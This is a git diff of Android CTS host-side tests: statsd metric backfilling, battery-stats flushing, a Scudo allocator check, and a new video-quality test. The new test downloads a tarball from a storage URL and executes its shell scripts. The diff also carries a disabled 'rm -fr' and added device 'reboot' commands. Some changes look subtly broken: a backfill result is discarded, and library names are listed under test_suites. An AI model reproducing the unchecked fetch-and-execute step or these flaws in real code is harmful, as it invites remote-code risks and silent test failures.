     public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
             throws Exception {
@@ -60,7 +66,14 @@
 
         List<EventMetricData> data = new ArrayList<>();
         for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
+            for (EventMetricData metricData :
+                    metric.getEventMetrics().getDataList()) {
+                if (metricData.hasAtom()) {
+                    data.add(metricData);
+                } else {
+                    data.addAll(backfillAggregatedAtomsInEventMetric(metricData));
+                }
+            }
         }
         data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
 
@@ -71,6 +84,23 @@
         return data;
     }
 
+
+    private static List<EventMetricData> backfillAggregatedAtomsInEventMetric(
+            EventMetricData metricData) {
+        if (!metricData.hasAggregatedAtomInfo()) {
+            return Collections.emptyList();
+        }
+        List<EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo();
+        for (long timestamp : atomInfo.getElapsedTimestampNanosList()) {
+            data.add(EventMetricData.newBuilder()
+                    .setAtom(atomInfo.getAtom())
+                    .setElapsedTimestampNanos(timestamp)
+                    .build());
+        }
+        return data;
+    }
+
     public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
         return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
     }
@@ -93,9 +123,13 @@
         for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
             assertThat(d.getBucketInfoCount()).isEqualTo(1);
             GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
-            atoms.addAll(bucketInfo.getAtomList());
+            if (bucketInfo.getAtomCount() != 0) {
+                atoms.addAll(bucketInfo.getAtomList());
+            } else {
+                backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+            }
             if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
                     assertTimestampIsTruncated(timestampNs);
                 }
             }
@@ -108,6 +142,18 @@
         return atoms;
     }
 
+    private static List<Atom> backFillGaugeBucketAtoms(
+            List<StatsLog.AggregatedAtomInfo> atomInfoList) {
+        List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>();
+        for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) {
+            for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) {
+                atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
+            }
+        }
+        atomTimestamp.sort(Comparator.comparing(o -> o.second));
+        return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+    }
+
     /**
      * Delete all pre-existing reports corresponding to the CTS config.
      */
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
index 8e4ca4d..089843a 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -131,7 +131,7 @@
         final long mTxPackets;
         final long mAppUid;
 
-        public TransferredBytes(
+        TransferredBytes(
                 long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
             mRxBytes = rxBytes;
             mTxBytes = txBytes;
@@ -139,6 +139,12 @@
             mTxPackets = txPackets;
             mAppUid = appUid;
         }
+
+        TransferredBytes plus(TransferredBytes other) {
+            return new TransferredBytes(this.mRxBytes + other.mRxBytes,
+                    this.mTxBytes + other.mTxBytes, this.mRxPackets + other.mRxPackets,
+                    this.mTxPackets + other.mTxPackets, other.mAppUid);
+        }
     }
 
     @FunctionalInterface
@@ -201,7 +207,10 @@
         final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
                 /*checkTimestampTruncated=*/true);
         assertThat(atoms.size()).isAtLeast(1);
+
         boolean foundAppStats = false;
+        TransferredBytes transBytesSum = new TransferredBytes(0, 0, 0, 0, /*appUid=*/-1);
+
         for (final Atom atom : atoms) {
             TransferredBytes transferredBytes = p.accept(atom);
             if (transferredBytes != null) {
@@ -213,11 +222,12 @@
                             DeviceUtils.STATSD_ATOM_TEST_PKG);
                     assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
                 }
-                assertDataUsageAtomDataExpected(
-                        transferredBytes.mRxBytes, transferredBytes.mTxBytes,
-                        transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+                transBytesSum = transBytesSum.plus(transferredBytes);
             }
         }
+        assertDataUsageAtomDataExpected(
+                transBytesSum.mRxBytes, transBytesSum.mTxBytes,
+                transBytesSum.mRxPackets, transBytesSum.mTxPackets);
         assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
                 DeviceUtils.STATSD_ATOM_TEST_PKG)
                 + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index d3330c8..d907249 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -87,6 +87,7 @@
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
         DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        DeviceUtils.turnBatteryStatsAutoResetOff(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
     }
 
@@ -95,6 +96,7 @@
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
         DeviceUtils.uninstallStatsdTestApp(getDevice());
+        DeviceUtils.turnBatteryStatsAutoResetOn(getDevice());
         super.tearDown();
     }
 
@@ -204,6 +206,7 @@
         if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
         // Setup, unplug device.
         DeviceUtils.unplugDevice(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
         final int atomTag = Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER;
@@ -226,17 +229,22 @@
 
         // Trigger events in same order.
         DeviceUtils.plugInAc(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInUsb();
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInWireless();
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT * 3);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
@@ -246,7 +254,7 @@
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
         // Assert that the events happened in the expected order.
-        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
                 atom -> atom.getPluggedStateChanged().getState().getNumber());
     }
 
@@ -335,7 +343,7 @@
         if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
 
         final int atomTag = Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER;
 
@@ -354,7 +362,7 @@
         turnBatterySaverOn();
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         turnBatterySaverOff();
-        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 81fe295..c363d84 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -220,7 +220,8 @@
                 atomTag,  /*uidInAttributionChain=*/false);
 
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+                "StatsdCtsForegroundActivity", "action", "action.native_crash",
+                /* waitTimeMs= */ 5000L);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
@@ -621,18 +622,18 @@
         int initialBrightness = getScreenBrightness();
         boolean isInitialManual = isScreenBrightnessModeManual();
         setScreenBrightnessMode(true);
-        setScreenBrightness(200);
+        setScreenBrightness(150);
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
 
         Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
         Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-        Set<Integer> screen200 = new HashSet<>(Arrays.asList(198));
+        Set<Integer> screen140 = new HashSet<>(Arrays.asList(140));
         // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
 
         // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen200);
+        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen140);
 
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 atomTag);
@@ -647,7 +648,7 @@
 
         AtomTestUtils.popUntilFind(data, screenMin,
                 atom -> atom.getScreenBrightnessChanged().getLevel());
-        AtomTestUtils.popUntilFindFromEnd(data, screen200,
+        AtomTestUtils.popUntilFindFromEnd(data, screen140,
                 atom -> atom.getScreenBrightnessChanged().getLevel());
         // Assert that the events happened in the expected order.
         AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
index 927fb1d..c4bec178 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -224,7 +224,11 @@
         for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
             assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
             assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
-            assertThat(a.getSource()).isEqualTo(
+            assertThat(a.getSource()).isAnyOf(
+                    // If this test is run on a device that has a Settings app open that
+                    // continuously performs frequent scans, quite often our scans requests
+                    // are bundled together and get attributed to the Settings app.
+                    AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP,
                     AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
             assertThat(a.getImportance()).isEqualTo(
                     AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
diff --git a/hostsidetests/tagging/common/Android.bp b/hostsidetests/tagging/common/Android.bp
index 147cbde..2e3a4cd 100644
--- a/hostsidetests/tagging/common/Android.bp
+++ b/hostsidetests/tagging/common/Android.bp
@@ -35,6 +35,7 @@
     ],
     header_libs: ["jni_headers"],
     sdk_version: "current",
+    stl: "libc++",
     gtest: false,
 }
 
diff --git a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
index 05220eb..fc479c2 100644
--- a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
+++ b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
@@ -16,11 +16,15 @@
 
 #include <errno.h>
 #include <jni.h>
+#include <malloc.h>
+#include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/prctl.h>
 #include <sys/utsname.h>
 
+#include <string>
+
 extern "C" JNIEXPORT jboolean Java_android_cts_tagging_Utils_kernelSupportsTaggedPointers() {
 #ifdef __aarch64__
 #define PR_SET_TAGGED_ADDR_CTRL 55
@@ -81,3 +85,14 @@
 Java_android_cts_tagging_Utils_heapIsZeroInitialized(JNIEnv *) {
   return sizeIsZeroInitialized(100) && sizeIsZeroInitialized(2000) && sizeIsZeroInitialized(200000);
 }
+
+extern "C" JNIEXPORT jboolean JNICALL Java_android_cts_tagging_Utils_allocatorIsScudo(JNIEnv *) {
+  const size_t kMallocInfoBufSize = 8192;
+  std::string buf;
+  buf.reserve(kMallocInfoBufSize);
+  FILE *fp = fmemopen(buf.data(), kMallocInfoBufSize, "w+");
+  malloc_info(0, fp);
+  fclose(fp);
+
+  return buf.find("<malloc version=\"scudo") != std::string::npos;
+}
diff --git a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
index 4f5e387..536b9f6 100644
--- a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
+++ b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
@@ -26,4 +26,5 @@
     public static native boolean mistaggedKernelUaccessFails();
 
     public static native boolean heapIsZeroInitialized();
+    public static native boolean allocatorIsScudo();
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java
index 0ae44a8..3e87fc9 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java
@@ -19,14 +19,21 @@
 import android.app.Activity;
 import android.cts.tagging.Utils;
 import android.os.Bundle;
-import android.util.Log;
 
 public class HeapZeroInitActivity extends Activity {
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
-        boolean result = Utils.heapIsZeroInitialized();
-        setResult(RESULT_FIRST_USER + (result ? 1 : 0));
+
+        if (!Utils.allocatorIsScudo()) {
+            // jemalloc doesn't support heap zero initialization. Skip this test.
+            setResult(TestActivity.RESULT_TEST_IGNORED);
+        } else if (Utils.heapIsZeroInitialized()) {
+            setResult(TestActivity.RESULT_TEST_SUCCESS);
+        } else {
+            setResult(TestActivity.RESULT_TEST_FAILED);
+        }
+
         finish();
     }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java
index 053681a..678141a 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java
@@ -19,14 +19,21 @@
 import android.app.Activity;
 import android.cts.tagging.Utils;
 import android.os.Bundle;
-import android.util.Log;
 
 public class HeapZeroInitMemtagAsyncActivity extends Activity {
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
-        boolean result = Utils.heapIsZeroInitialized();
-        setResult(RESULT_FIRST_USER + (result ? 1 : 0));
+
+        if (!Utils.allocatorIsScudo()) {
+            // jemalloc doesn't support heap zero initialization. Skip this test.
+            setResult(TestActivity.RESULT_TEST_IGNORED);
+        } else if (Utils.heapIsZeroInitialized()) {
+            setResult(TestActivity.RESULT_TEST_SUCCESS);
+        } else {
+            setResult(TestActivity.RESULT_TEST_FAILED);
+        }
+
         finish();
     }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
index cc5bf02..e8c50ff 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
@@ -145,14 +145,14 @@
     @Test
     public void testHeapZeroInitActivity() throws Exception {
       TestActivity activity = mTestActivityRule.getActivity();
-      boolean result = activity.callActivity(HeapZeroInitActivity.class);
-      assertTrue(result);
+      activity.callActivity(HeapZeroInitActivity.class);
+      assertFalse(activity.failed());
     }
 
     @Test
     public void testHeapZeroInitMemtagAsyncActivity() throws Exception {
       TestActivity activity = mTestActivityRule.getActivity();
-      boolean result = activity.callActivity(HeapZeroInitMemtagAsyncActivity.class);
-      assertTrue(result);
+      activity.callActivity(HeapZeroInitMemtagAsyncActivity.class);
+      assertFalse(activity.failed());
     }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java
index ec099af..b9112e4 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java
@@ -30,6 +30,10 @@
 public class TestActivity extends Activity {
     static final String TAG = "TestActivity";
 
+    public static final int RESULT_TEST_SUCCESS = RESULT_FIRST_USER + 1;
+    public static final int RESULT_TEST_IGNORED = RESULT_FIRST_USER + 2;
+    public static final int RESULT_TEST_FAILED = RESULT_FIRST_USER + 3;
+
     private int mResult;
     private final Object mFinishEvent = new Object();
 
@@ -46,7 +50,11 @@
         }
     }
 
-    public boolean callActivity(Class<?> cls) throws Exception {
+    public boolean failed() {
+        return mResult != RESULT_TEST_SUCCESS && mResult != RESULT_TEST_IGNORED;
+    }
+
+    public void callActivity(Class<?> cls) throws Exception {
         Thread thread = new Thread() {
             @Override
             public void run() {
@@ -65,10 +73,5 @@
         };
         thread.start();
         thread.join(50000 /* millis */);
-
-        if (mResult == RESULT_OK) {
-          throw new Exception();
-        }
-        return (mResult - RESULT_FIRST_USER) == 1;
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
index b6510d7..2c3bec0 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
@@ -146,12 +146,16 @@
     }
 
     public void testHeapZeroInitActivity() throws Exception {
+        // Note, only Scudo supports heap zero initialization. This test is
+        // effectively a no-op on jemalloc devices.
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testHeapZeroInitActivity",
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of());
     }
 
     public void testHeapZeroInitMemtagAsyncActivity() throws Exception {
+        // Note, only Scudo supports heap zero initialization. This test is
+        // effectively a no-op on jemalloc devices.
         runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testHeapZeroInitMemtagAsyncActivity",
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of());
diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip
new file mode 100644
index 0000000..5ce9a1e
--- /dev/null
+++ b/hostsidetests/theme/assets/31/450dpi.zip
Binary files differ
diff --git a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
old mode 100644
new mode 100755
index f47e8d7..4b903dc
--- a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
+++ b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
@@ -185,6 +185,7 @@
                     "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
         } finally {
             getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
+            getDevice().executeShellV2Command("reboot");
         }
     }
 
@@ -218,6 +219,7 @@
                     "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
         } finally {
             getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
+            getDevice().executeShellV2Command("reboot");
         }
     }
 
diff --git a/hostsidetests/packagemanager/boottest/Android.bp b/hostsidetests/videoencodingminimum/Android.bp
similarity index 80%
rename from hostsidetests/packagemanager/boottest/Android.bp
rename to hostsidetests/videoencodingminimum/Android.bp
index 9d1f96e..53ad1ed 100644
--- a/hostsidetests/packagemanager/boottest/Android.bp
+++ b/hostsidetests/videoencodingminimum/Android.bp
@@ -17,17 +17,17 @@
 }
 
 java_test_host {
-    name: "CtsPackageManagerBootTestCases",
-    defaults: ["cts_defaults"],
+    name: "CtsVideoQualityFloorHostTestCases",
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
     libs: [
         "cts-tradefed",
+        "cts-shim-host-lib",
         "tradefed",
-        "compatibility-host-util",
     ],
-}
\ No newline at end of file
+    test_suites: [
+        "cts-tradefed",
+        "cts-shim-host-lib",
+        "tradefed",
+    ],
+}
+
diff --git a/hostsidetests/videoencodingminimum/AndroidTest.xml b/hostsidetests/videoencodingminimum/AndroidTest.xml
new file mode 100644
index 0000000..c8921bd
--- /dev/null
+++ b/hostsidetests/videoencodingminimum/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CtsVideoQualityFloorHostTestCases">
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsVideoQualityFloorHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/videoencodingminimum/src/android/videoqualityfloor/cts/CtsVideoQualityFloorHostTest.java b/hostsidetests/videoencodingminimum/src/android/videoqualityfloor/cts/CtsVideoQualityFloorHostTest.java
new file mode 100644
index 0000000..9bbb40b
--- /dev/null
+++ b/hostsidetests/videoencodingminimum/src/android/videoqualityfloor/cts/CtsVideoQualityFloorHostTest.java
@@ -0,0 +1,241 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.videoqualityfloor.cts;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.lang.Process;
+import java.lang.Runtime;
+import java.lang.SecurityException;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Run the host-side video quality floor tests.
+ * These encode a set of videos at particular resolutions/bitrates and
+ * measure the quality of the output.
+ * Measurement is with the VMAF tool.
+ *
+ * The body of this test is implemented in a test script, not within the java here.
+ * This java code acquires the videos and the test script, unpacks them, executes the
+ * script (which encodes and measures).
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsVideoQualityFloorHostTest implements IAbiReceiver, IBuildReceiver, IDeviceTest {
+
+    public static final String TAG = CtsVideoQualityFloorHostTest.class.getSimpleName();
+    String BASE_URL =
+              "https://storage.googleapis.com/android_media/cts/hostsidetests/videoqualityfloor/";
+    String[] testClips = {
+        "Fireworks.mp4",
+        "Motorcycle.mp4",
+        "MountainBike.mp4",
+        "TreesAndGrass.mp4"
+    };
+    // test is not valid before sdk 31, aka Android 12, aka Android S
+    static final int MINIMUM_VALID_SDK = 31;
+
+    /**
+     * A reference to the build info.
+     */
+    private IBuildInfo mBuildInfo;
+
+    /**
+     * A reference to the device under test.
+     */
+    private ITestDevice mDevice;
+
+    /**
+     * A reference to the ABI under test.
+     */
+    private IAbi mAbi;
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    private String getProperty(String prop) throws Exception {
+        return mDevice.executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
+    /**
+     * TODO: Add JavaDoc
+     */
+    @Test
+    public void testEncoding() throws Exception {
+
+        String sdkAsString = getProperty("ro.build.version.sdk");
+        int sdk = Integer.parseInt(sdkAsString);
+        if (sdk < MINIMUM_VALID_SDK) {
+            LogUtil.CLog.d("Test requires sdk >= " + MINIMUM_VALID_SDK
+                            + " test device has sdk =" + sdk );
+            return;
+        }
+
+        Runtime runtime = Runtime.getRuntime();
+        Process subproc;
+        String tmpBase = System.getProperty("java.io.tmpdir");
+        String dirName = "CtsVideoQualityFloorHostTest";
+        String tmpDir = tmpBase + "/" + dirName;
+
+        LogUtil.CLog.d("tmpBase= " + tmpBase + " tmpDir =" + tmpDir);
+
+        if (false) {
+            // start with a fresh directory
+            File cwd = new File(".");
+            runCmd("rm -fr " + tmpDir, cwd);
+        }
+
+        // set up test directory, make sure it exists
+        File destination = new File(tmpDir);
+        try {
+            if (!destination.isDirectory()) {
+                destination.mkdirs();
+            }
+        } catch (SecurityException e) {
+            LogUtil.CLog.d("Unable to establish temp directory " + destination.getPath());
+        }
+        Assert.assertTrue(destination.isDirectory());
+
+        /*
+         *
+         * https://storage.googleapis.com/android_media/cts/hostsidetests/videoqualityfloor/
+         * + the name of the file
+         *
+         * turning the filename into the appropriate URL is done within downloadFile()
+         */
+
+        for (String clip : testClips) {
+            LogUtil.CLog.d("downloading " + clip);
+            downloadFile(clip, destination);
+        }
+
+        // get the test script
+        downloadFile("tests.tar.gz", destination);
+
+        // we *always* unpack and setup, even if the downloads were cached.
+        // this avoids any /tmp cleanup problems.
+        //
+        // unpack the test scripts
+        runCmd("tar xzf tests.tar.gz", destination);
+
+        // run the setup scripts
+        runCmd("./set_up.sh", destination);
+
+        // run the test script
+        // return code is # of failures, so 0 == success
+        String clipArgs = "";
+        for (String clip : testClips) {
+            clipArgs= clipArgs + " " + clip;
+        }
+        String targetSerial = getDevice().getSerialNumber();
+        String testOutput = runCmd("./testit.sh -serial " + targetSerial + clipArgs, destination);
+
+        LogUtil.CLog.d("(Successful) Output from testit.sh:\n\n" + testOutput);
+
+    }
+
+    // run the indicated command, in the indicated directory
+    // returns the command output
+    // asserts if the command finishes with non-zero exit code.
+    private String runCmd(String cmd, File cwd) {
+        Runtime runtime = Runtime.getRuntime();
+        Process subproc;
+        LogUtil.CLog.d("runCmd()  cmd=" + cmd + "  cwd=" + cwd.getPath());
+        int result = 0;
+        String childStdout = "";
+        try {
+            subproc = runtime.exec(cmd, null, cwd);
+            subproc.waitFor();      // may wait forever; there are versions with timeout
+            BufferedReader kidstream =
+                            new BufferedReader(new InputStreamReader(subproc.getInputStream()));
+            String line;
+            StringBuilder kidStdout = new StringBuilder();
+            while ((line = kidstream.readLine()) != null) {
+                kidStdout.append(line);
+                kidStdout.append("\n");
+            }
+            childStdout = kidStdout.toString();
+            result = subproc.exitValue();
